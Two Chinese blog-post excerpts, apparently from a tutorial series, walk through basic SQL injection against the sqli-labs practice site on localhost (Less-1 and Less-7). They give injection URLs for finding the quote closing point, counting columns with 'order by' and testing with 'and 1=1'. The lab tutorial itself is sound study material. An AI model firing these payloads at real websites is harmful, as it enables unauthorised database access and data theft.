摘要： http://localhost/sqli/Less-7 (注入SQL ) http://localhost/sqli/Less-7/?id=1')) --+ #确认闭合点 http://localhost/sqli/Less-7/?id=1')) order by 3--+ #确认列数 引用一道面 阅读全文

摘要： SQL注入点判断： 1、单引号判断 http://localhost/sqli/Less-1/?id=1' 如果出现错误提示，则该网站可能就存在注入漏洞 2、and判断 http://localhost/sqli/Less-1/?id=1' and 1=1--+ 这个条件永远都是真的，所以当然返回是 阅读全文